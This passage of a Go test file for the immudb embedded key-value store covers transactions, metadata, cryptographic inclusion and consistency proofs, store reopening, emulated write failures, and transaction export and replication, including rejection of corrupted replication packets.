immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) _, err = tx3.Get(context.Background(), []byte("key1")) require.ErrorIs(t, err, ErrKeyNotFound) // ongoing tranactions should not read committed entries since their creation tx11, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx11.Set([]byte("key1"), nil, []byte("value1_tx11")) require.NoError(t, err) _, err = tx11.Commit(context.Background()) require.NoError(t, err) // _, err = tx3.Get(context.Background(), []byte("key1")) require.ErrorIs(t, err, ErrKeyNotFound) err = tx3.Set([]byte("key1"), nil, []byte("value1_tx3")) require.NoError(t, err) hdr2, err := tx2.Commit(context.Background()) require.NoError(t, err) valRef2, err := immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.NotNil(t, valRef2) require.Equal(t, hdr2.ID, valRef2.Tx()) v2, err := valRef2.Resolve() require.NoError(t, err) require.Equal(t, []byte("value1_tx2"), v2) _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) } func TestImmudbStoreKVMetadata(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immustoreClose(t, immuStore) tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) tx.WithMetadata(NewTxMetadata()) err = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1}) require.NoError(t, err) md := NewKVMetadata() err = md.AsDeleted(true) require.NoError(t, err) err = tx.Set([]byte{1, 2, 3}, md, []byte{3, 2, 1}) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) _, err = immuStore.Get(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrKeyNotFound) valRef, err := immuStore.GetWithFilters(context.Background(), []byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, uint64(1), valRef.Tx()) require.True(t, valRef.KVMetadata().Deleted()) require.Equal(t, uint64(1), valRef.HC()) require.Equal(t, uint32(3), valRef.Len()) require.Equal(t, sha256.Sum256([]byte{3, 2, 1}), valRef.HVal()) require.Nil(t, valRef.TxMetadata()) v, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte{3, 2, 1}, v) t.Run("read deleted key from snapshot should return key not found", func(t *testing.T) { snap, err := immuStore.Snapshot(nil) require.NoError(t, err) require.NotNil(t, snap) defer snap.Close() _, err = snap.Get(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrKeyNotFound) }) tx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) _, err = tx.Get(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrKeyNotFound) err = tx.Set([]byte{1, 2, 3}, nil, []byte{1, 1, 1}) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) valRef, err = immuStore.Get(context.Background(), []byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, uint64(2), valRef.Tx()) v, err = valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte{1, 1, 1}, v) } func TestImmudbStoreNonIndexableEntries(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immustoreClose(t, immuStore) tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) md := NewKVMetadata() err = md.AsNonIndexable(true) require.NoError(t, err) err = tx.Set([]byte("nonIndexedKey"), md, []byte("nonIndexedValue")) require.NoError(t, err) err = tx.Set([]byte("indexedKey"), nil, []byte("indexedValue")) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) _, err = immuStore.Get(context.Background(), []byte("nonIndexedKey")) require.ErrorIs(t, err, ErrKeyNotFound) valRef, err := immuStore.Get(context.Background(), []byte("indexedKey")) require.NoError(t, err) require.NotNil(t, valRef) val, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte("indexedValue"), val) // commit tx with all non-indexable entries tx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) err = tx.Set([]byte("nonIndexedKey1"), md, []byte("nonIndexedValue1")) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) _, err = immuStore.Get(context.Background(), []byte("nonIndexedKey1")) require.ErrorIs(t, err, ErrKeyNotFound) // commit simple tx with an indexable entry tx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) err = tx.Set([]byte("indexedKey1"), nil, []byte("indexedValue1")) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) valRef, err = immuStore.Get(context.Background(), []byte("indexedKey1")) require.NoError(t, err) require.NotNil(t, valRef) val, err = valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte("indexedValue1"), val) } func TestImmudbStoreCommitWith(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, immuStore) defer immustoreClose(t, immuStore) _, err = immuStore.CommitWith(context.Background(), nil, false) require.ErrorIs(t, err, ErrIllegalArguments) callback := func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) { return nil, nil, nil } _, err = immuStore.CommitWith(context.Background(), callback, false) require.ErrorIs(t, err, ErrNoEntriesProvided) callback = func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) { return nil, nil, errors.New("error") } _, err = immuStore.CommitWith(context.Background(), callback, false) require.Error(t, err) callback = func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) { return []*EntrySpec{ {Key: []byte(fmt.Sprintf("keyInsertedAtTx%d", txID)), Value: []byte("value")}, }, nil, nil } hdr, err := immuStore.CommitWith(context.Background(), callback, true) require.NoError(t, err) _, err = immuStore.ReadValue(nil) require.ErrorIs(t, err, ErrIllegalArguments) tx, err := immuStore.fetchAllocTx() require.NoError(t, err) defer immuStore.releaseAllocTx(tx) immuStore.ReadTx(hdr.ID, false, tx) entry, err := tx.EntryOf([]byte(fmt.Sprintf("keyInsertedAtTx%d", hdr.ID))) require.NoError(t, err) val, err := immuStore.ReadValue(entry) require.NoError(t, err) require.Equal(t, []byte("value"), val) } func TestImmudbStoreHistoricalValues(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) opts.WithIndexOptions(opts.IndexOpts.WithFlushThld(10)) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, immuStore) defer immustoreClose(t, immuStore) txCount := 10 eCount := 10 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i)) err = tx.Set(k, nil, v) require.NoError(t, err) } txhdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } err = immuStore.CompactIndexes() require.NoError(t, err) var wg sync.WaitGroup wg.Add(1) for f := 0; f < 1; f++ { go func() { for { snap, err := immuStore.Snapshot(nil) require.NoError(t, err) for i := 0; i < int(snap.Ts()); i++ { for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(j)) valRefs, hCount, err := snap.History(k, 0, false, txCount) require.NoError(t, err) require.EqualValues(t, snap.Ts(), len(valRefs)) require.EqualValues(t, snap.Ts(), hCount) for _, valRef := range valRefs { v := make([]byte, 8) binary.BigEndian.PutUint64(v, valRef.Tx()-1) val, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, v, val) } } } snap.Close() if snap.Ts() == uint64(txCount) { break } time.Sleep(time.Duration(100) * time.Millisecond) } wg.Done() }() } wg.Wait() } func TestImmudbStoreCompapactionDisabled(t *testing.T) { opts := DefaultOptions().WithCompactionDisabled(true) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immustoreClose(t, immuStore) err = immuStore.CompactIndexes() require.ErrorIs(t, err, ErrCompactionDisabled) } func TestImmudbStoreInclusionProof(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(dir, opts) require.NoError(t, err) require.NotNil(t, immuStore) txCount := 100 eCount := 100 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i<<4+j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j))) err = tx.Set(k, NewKVMetadata(), v) require.NoError(t, err) } txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } err = immuStore.Sync() require.NoError(t, err) err = immuStore.Close() require.NoError(t, err) _, err = immuStore.CommitWith(context.Background(), func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) { return []*EntrySpec{ {Key: []byte(fmt.Sprintf("keyInsertedAtTx%d", txID)), Value: nil}, }, nil, nil }, false) require.ErrorIs(t, err, ErrAlreadyClosed) immuStore, err = Open(dir, opts) require.NoError(t, err) defer immustoreClose(t, immuStore) tx := tempTxHolder(t, immuStore) r, err := immuStore.NewTxReader(1, false, tx) require.NoError(t, err) for i := 0; i < txCount; i++ { tx, err := r.Read() require.NoError(t, err) require.NotNil(t, tx) entrySpecDigest, err := EntrySpecDigestFor(tx.header.Version) require.NoError(t, err) require.NotNil(t, entrySpecDigest) txEntries := tx.Entries() assert.Equal(t, eCount, len(txEntries)) for j, e := range txEntries { require.True(t, e.readonly) proof, err := tx.Proof(e.key()) require.NoError(t, err) key := txEntries[j].key() ki, err := tx.IndexOf(key) require.NoError(t, err) require.Equal(t, j, ki) value := make([]byte, txEntries[j].vLen) _, err = immuStore.readValueAt(value, txEntries[j].VOff(), txEntries[j].HVal(), false) require.NoError(t, err) k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i<<4+j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j))) require.Equal(t, k, key) require.Equal(t, v, value) eSpec := &EntrySpec{Key: key, Metadata: NewKVMetadata(), Value: value} verifies := htree.VerifyInclusion(proof, entrySpecDigest(eSpec), tx.header.Eh) require.True(t, verifies) v, err = immuStore.ReadValue(e) require.NoError(t, err) require.Equal(t, value, v) } } t.Run("reading value from non-readonly entry should fail", func(t *testing.T) { _, err = immuStore.ReadValue(NewTxEntry([]byte("key"), NewKVMetadata(), 0, sha256.Sum256(nil), 0)) require.ErrorIs(t, err, ErrIllegalArguments) }) } func TestLeavesMatchesAHTSync(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immustoreClose(t, immuStore) require.NotNil(t, immuStore) txCount := 1000 eCount := 10 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i<<4+j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j))) err = tx.Set(k, nil, v) require.NoError(t, err) } txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) err = immuStore.WaitForTx(context.Background(), txhdr.ID, false) require.NoError(t, err) err = immuStore.WaitForIndexingUpto(context.Background(), txhdr.ID) require.NoError(t, err) var k0 [8]byte _, _, err = immuStore.GetWithPrefix(context.Background(), k0[:], nil) require.NoError(t, err) } tx := tempTxHolder(t, immuStore) for i := 0; i < txCount; i++ { err := immuStore.ReadTx(uint64(i+1), false, tx) require.NoError(t, err) require.Equal(t, uint64(i+1), tx.header.ID) p, err := immuStore.aht.DataAt(uint64(i + 1)) require.NoError(t, err) alh := tx.header.Alh() require.Equal(t, alh[:], p) } } func TestLeavesMatchesAHTASync(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immustoreClose(t, immuStore) require.NotNil(t, immuStore) txCount := 1000 eCount := 10 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i<<4+j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j))) err = tx.Set(k, nil, v) require.NoError(t, err) } txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } tx := tempTxHolder(t, immuStore) for i := 0; i < txCount; i++ { err := immuStore.ReadTx(uint64(i+1), false, tx) require.NoError(t, err) require.Equal(t, uint64(i+1), tx.header.ID) p, err := immuStore.aht.DataAt(uint64(i + 1)) require.NoError(t, err) alh := tx.header.Alh() require.Equal(t, alh[:], p) } } func TestImmudbStoreConsistencyProof(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immustoreClose(t, immuStore) require.NotNil(t, immuStore) txCount := 16 eCount := 10 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i<<4+j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j))) err = tx.Set(k, nil, v) require.NoError(t, err) } txhdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } sourceTx := tempTxHolder(t, immuStore) targetTx := tempTxHolder(t, immuStore) for i := 0; i < txCount; i++ { sourceTxID := uint64(i + 1) err := immuStore.ReadTx(sourceTxID, false, sourceTx) require.NoError(t, err) require.Equal(t, uint64(i+1), sourceTx.header.ID) for j := i; j < txCount; j++ { targetTxID := uint64(j + 1) err := immuStore.ReadTx(targetTxID, false, targetTx) require.NoError(t, err) require.Equal(t, uint64(j+1), targetTx.header.ID) dproof, err := immuStore.DualProof(sourceTx.Header(), targetTx.Header()) require.NoError(t, err) verifies := VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) require.True(t, verifies) dproofV2, err := immuStore.DualProofV2(sourceTx.Header(), targetTx.Header()) require.NoError(t, err) verifiesV2 := VerifyDualProofV2(dproofV2, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) require.NoError(t, verifiesV2) } } } func TestImmudbStoreConsistencyProofAgainstLatest(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immustoreClose(t, immuStore) require.NotNil(t, immuStore) txCount := 32 eCount := 10 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i<<4+j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j))) err = tx.Set(k, nil, v) require.NoError(t, err) } txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } sourceTx := tempTxHolder(t, immuStore) targetTx := tempTxHolder(t, immuStore) targetTxID := uint64(txCount) err = immuStore.ReadTx(targetTxID, false, targetTx) require.NoError(t, err) require.Equal(t, uint64(txCount), targetTx.header.ID) for i := 0; i < txCount-1; i++ { sourceTxID := uint64(i + 1) err := immuStore.ReadTx(sourceTxID, false, sourceTx) require.NoError(t, err) require.Equal(t, uint64(i+1), sourceTx.header.ID) dproof, err := immuStore.DualProof(sourceTx.Header(), targetTx.Header()) require.NoError(t, err) verifies := VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) require.True(t, verifies) dproofV2, err := immuStore.DualProofV2(sourceTx.Header(), targetTx.Header()) require.NoError(t, err) verifiesV2 := VerifyDualProofV2(dproofV2, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) require.NoError(t, verifiesV2) } } func TestImmudbStoreConsistencyProofReopened(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(dir, opts) require.NoError(t, err) require.NotNil(t, immuStore) txCount := 16 eCount := 100 tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.ErrorIs(t, err, ErrNoEntriesProvided) for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i<<4+j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j))) err = tx.Set(k, nil, v) require.NoError(t, err) } txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) currentID, currentAlh := immuStore.CommittedAlh() require.Equal(t, txhdr.ID, currentID) require.Equal(t, txhdr.Alh(), currentAlh) } err = immuStore.Sync() require.NoError(t, err) err = immuStore.Close() require.NoError(t, err) os.RemoveAll(filepath.Join(dir, "aht")) immuStore, err = Open(dir, opts.WithMaxValueLen(opts.MaxValueLen-1)) require.NoError(t, err) txholder := tempTxHolder(t, immuStore) for i := 0; i < txCount; i++ { txID := uint64(i + 1) ri, err := immuStore.NewTxReader(txID, false, txholder) require.NoError(t, err) txi, err := ri.Read() require.NoError(t, err) require.Equal(t, uint64(i+1), txi.header.ID) } sourceTx := tempTxHolder(t, immuStore) targetTx := tempTxHolder(t, immuStore) for i := 0; i < txCount; i++ { sourceTxID := uint64(i + 1) err := immuStore.ReadTx(sourceTxID, false, sourceTx) require.NoError(t, err) require.Equal(t, uint64(i+1), sourceTx.header.ID) for j := i + 1; j < txCount; j++ { targetTxID := uint64(j + 1) err := immuStore.ReadTx(targetTxID, false, targetTx) require.NoError(t, err) require.Equal(t, uint64(j+1), targetTx.header.ID) lproof, err := immuStore.LinearProof(sourceTxID, targetTxID) require.NoError(t, err) verifies := VerifyLinearProof(lproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) require.True(t, verifies) dproof, err := immuStore.DualProof(sourceTx.Header(), targetTx.Header()) require.NoError(t, err) verifies = VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) require.True(t, verifies) dproofV2, err := immuStore.DualProofV2(sourceTx.Header(), targetTx.Header()) require.NoError(t, err) verifiesV2 := VerifyDualProofV2(dproofV2, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) require.NoError(t, verifiesV2) } } err = immuStore.Close() require.NoError(t, err) } func TestReOpeningImmudbStore(t *testing.T) { dir := t.TempDir() itCount := 3 txCount := 100 eCount := 10 for it := 0; it < itCount; it++ { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(dir, opts) require.NoError(t, err) for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i<<4+j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j))) err = tx.Set(k, nil, v) require.NoError(t, err) } txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(it*txCount+i+1), txhdr.ID) } err = immuStore.Close() require.NoError(t, err) } } func TestReOpeningWithCompressionEnabledImmudbStore(t *testing.T) { dir := t.TempDir() itCount := 3 txCount := 100 eCount := 10 for it := 0; it < itCount; it++ { opts := DefaultOptions(). WithSynced(false). WithCompressionFormat(appendable.GZipCompression). WithCompresionLevel(appendable.DefaultCompression). WithMaxConcurrency(1) immuStore, err := Open(dir, opts) require.NoError(t, err) for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i<<4+j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j))) err = tx.Set(k, nil, v) require.NoError(t, err) } txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(it*txCount+i+1), txhdr.ID) } err = immuStore.Close() require.NoError(t, err) } } func TestUncommittedTxOverwriting(t *testing.T) { path := t.TempDir() opts := DefaultOptions(). WithEmbeddedValues(false). WithMaxConcurrency(3) metadata := appendable.NewMetadata(nil) metadata.PutInt(metaVersion, Version) metadata.PutBool(metaEmbeddedValues, false) metadata.PutBool(metaPreallocFiles, false) metadata.PutInt(metaFileSize, opts.FileSize) metadata.PutInt(metaMaxTxEntries, opts.MaxTxEntries) metadata.PutInt(metaMaxKeyLen, opts.MaxKeyLen) metadata.PutInt(metaMaxValueLen, opts.MaxValueLen) appendableOpts := multiapp.DefaultOptions(). WithReadOnly(opts.ReadOnly). WithRetryableSync(opts.Synced). WithFileMode(opts.FileMode). WithMetadata(metadata.Bytes()) vLogPath := filepath.Join(path, "val_0") appendableOpts.WithFileExt("val") vLog, err := multiapp.Open(vLogPath, appendableOpts) require.NoError(t, err) txLogPath := filepath.Join(path, "tx") appendableOpts.WithFileExt("tx") txLog, err := multiapp.Open(txLogPath, appendableOpts) require.NoError(t, err) cLogPath := filepath.Join(path, "commit") appendableOpts.WithFileExt("txi") cLog, err := multiapp.Open(cLogPath, appendableOpts) require.NoError(t, err) failingVLog := &FailingAppendable{vLog, 2} failingTxLog := &FailingAppendable{txLog, 5} failingCLog := &FailingAppendable{cLog, 5} immuStore, err := OpenWith(path, []appendable.Appendable{failingVLog}, failingTxLog, failingCLog, opts) require.NoError(t, err) txHolder := tempTxHolder(t, immuStore) txReader, err := immuStore.NewTxReader(1, false, txHolder) require.NoError(t, err) _, err = txReader.Read() require.ErrorIs(t, err, ErrNoMoreEntries) txCount := 100 eCount := 64 emulatedFailures := 0 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { k := make([]byte, 4) binary.BigEndian.PutUint32(k, uint32(j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(j+1)) err = tx.Set(k, nil, v) require.NoError(t, err) } txhdr, err := tx.Commit(context.Background()) if err != nil { require.ErrorIs(t, err, errEmulatedAppendableError) emulatedFailures++ } else { require.Equal(t, uint64(i+1-emulatedFailures), txhdr.ID) } } err = immuStore.Close() require.NoError(t, err) immuStore, err = Open(path, opts) require.NoError(t, err) txHolder = tempTxHolder(t, immuStore) r, err := immuStore.NewTxReader(1, false, txHolder) require.NoError(t, err) for i := 0; i < txCount-emulatedFailures; i++ { tx, err := r.Read() require.NoError(t, err) require.NotNil(t, tx) entrySpecDigest, err := EntrySpecDigestFor(tx.header.Version) require.NoError(t, err) require.NotNil(t, entrySpecDigest) txEntries := tx.Entries() assert.Equal(t, eCount, len(txEntries)) for _, txe := range txEntries { proof, err := tx.Proof(txe.key()) require.NoError(t, err) value := make([]byte, txe.vLen) _, err = immuStore.readValueAt(value, txe.vOff, txe.hVal, false) require.NoError(t, err) e := &EntrySpec{Key: txe.key(), Value: value} verifies := htree.VerifyInclusion(proof, entrySpecDigest(e), tx.header.Eh) require.True(t, verifies) } } _, err = r.Read() require.ErrorIs(t, err, ErrNoMoreEntries) require.Equal(t, uint64(txCount-emulatedFailures), immuStore.TxCount()) err = immuStore.Close() require.NoError(t, err) } func TestExportAndReplicateTx(t *testing.T) { primaryDir := t.TempDir() primaryStore, err := Open(primaryDir, DefaultOptions()) require.NoError(t, err) defer immustoreClose(t, primaryStore) replicaDir := t.TempDir() replicaStore, err := Open(replicaDir, DefaultOptions()) require.NoError(t, err) defer immustoreClose(t, replicaStore) tx, err := primaryStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) err = tx.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) hdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr) txholder := tempTxHolder(t, primaryStore) etx, err := primaryStore.ExportTx(1, false, false, txholder) require.NoError(t, err) rhdr, err := replicaStore.ReplicateTx(context.Background(), etx, false, false) require.NoError(t, err) require.NotNil(t, rhdr) require.Equal(t, hdr.ID, rhdr.ID) require.Equal(t, hdr.Alh(), rhdr.Alh()) _, err = replicaStore.ReplicateTx(context.Background(), nil, false, false) require.ErrorIs(t, err, ErrIllegalArguments) } func TestExportAndReplicateTxCornerCases(t *testing.T) { primaryDir := t.TempDir() primaryStore, err := Open(primaryDir, DefaultOptions()) require.NoError(t, err) defer immustoreClose(t, primaryStore) replicaDir := t.TempDir() replicaStore, err := Open(replicaDir, DefaultOptions().WithMaxActiveTransactions(1)) require.NoError(t, err) defer immustoreClose(t, replicaStore) tx, err := primaryStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) err = tx.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) hdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr) txholder := tempTxHolder(t, primaryStore) t.Run("prevent replicating broken data", func(t *testing.T) { etx, err := primaryStore.ExportTx(1, false, false, txholder) require.NoError(t, err) for i := range etx { if i >= 44 && i < 52 { // Timestamp - this field is part of innerHash thus is not validated through EH continue } t.Run(fmt.Sprintf("broken byte at position %d", i), func(t *testing.T) { // Break etx by modifying a single byte of the packet brokenEtx := make([]byte, len(etx)) copy(brokenEtx, etx) brokenEtx[i]++ _, err = replicaStore.ReplicateTx(context.Background(), brokenEtx, false, false) require.Error(t, err) if !errors.Is(err, ErrIllegalArguments) && !errors.Is(err, ErrMaxActiveTransactionsLimitExceeded) && !errors.Is(err, ErrCorruptedData) && !errors.Is(err, ErrNewerVersionOrCorruptedData) { require.Failf(t, "Incorrect error", "Incorrect error received from validation: %v", err) } }) } }) } func TestExportAndReplicateTxSimultaneousWriters(t *testing.T) { primaryDir := t.TempDir() primaryStore, err := Open(primaryDir, DefaultOptions()) require.NoError(t, err) defer immustoreClose(t, primaryStore) replicaDir := t.TempDir() replicaOpts := DefaultOptions().WithMaxConcurrency(100) replicaStore, err := Open(replicaDir, replicaOpts) require.NoError(t, err) defer immustoreClose(t, replicaStore) const txCount = 3 for i := 0; i < txCount; i++ { t.Run(fmt.Sprintf("tx: %d", i), func(t *testing.T) { tx, err := primaryStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) err = tx.Set([]byte(fmt.Sprintf("key%d", i)), nil, []byte(fmt.Sprintf("value%d", i))) require.NoError(t, err) hdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr) txholder := tempTxHolder(t, replicaStore) etx, err := primaryStore.ExportTx(hdr.ID, false, false, txholder) require.NoError(t, err) // Replicate the same transactions concurrently, only one must succeed errors := make([]error, replicaStore.maxConcurrency) wg := sync.WaitGroup{} for j := 0; j < replicaStore.maxConcurrency; j++ { wg.Add(1) go func(j int) { defer wg.Done() _, errors[j] = replicaStore.ReplicateTx(context.Background(), etx, false, false) }(j) } wg.Wait() winnersCnt := 0 for _, err := range errors { if err == nil { winnersCnt++ } else { require.ErrorIs(t, err, ErrTxAlreadyCommitted) } } require.Equal(t, 1, winnersCnt) require.EqualValues(t, i+1, replicaStore.TxCount()) }) } } func TestExportAndReplicateTxDisorderedReplication(t *testing.T) { primaryDir := t.TempDir() primaryStore, err := Open(primaryDir, DefaultOptions()) require.NoError(t, err) defer immustoreClose(t, primaryStore) replicaDir := t.TempDir() replicaOpts := DefaultOptions().WithMaxConcurrency(100) replicaStore, err := Open(replicaDir, replicaOpts) require.NoError(t, err) defer immustoreClose(t, replicaStore) const txCount = 15 etxs := make(chan []byte, txCount) txholder := tempTxHolder(t, replicaStore) for i := 0; i < txCount; i++ { tx, err := primaryStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) tx.WithMetadata(NewTxMetadata()) err = tx.Set([]byte(fmt.Sprintf("key%d", i)), nil, []byte(fmt.Sprintf("value%d", i))) require.NoError(t, err) hdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr) etx, err := primaryStore.ExportTx(hdr.ID, false, false, txholder) require.NoError(t, err) etxs <- etx } close(etxs) const replicatorsCount = 3 var wg sync.WaitGroup wg.Add(replicatorsCount) rand.Seed(time.Now().UnixNano()) for r := 0; r < replicatorsCount; r++ { go func(replicatorID int) { defer wg.Done() for etx := range etxs { time.Sleep(time.Duration(rand.Intn(100)) * time.Millisecond) _, err = replicaStore.ReplicateTx(context.Background(), etx, false, false) require.NoError(t, err) } }(r) } // it's needed to avoid getting 'already closed' error if the store is closed fast enough wg.Wait() if t.Failed() { return } err = replicaStore.WaitForTx(context.Background(), uint64(txCount), false) require.NoError(t, err) } var errEmulatedAppendableError = errors.New("emulated appendable error") type FailingAppendable struct { appendable.Appendable errorRate int } func (la *FailingAppendable) Append(bs []byte) (off int64, n int, err error) { if rand.Intn(100) < la.errorRate { return 0, 0, errEmulatedAppendableError } return 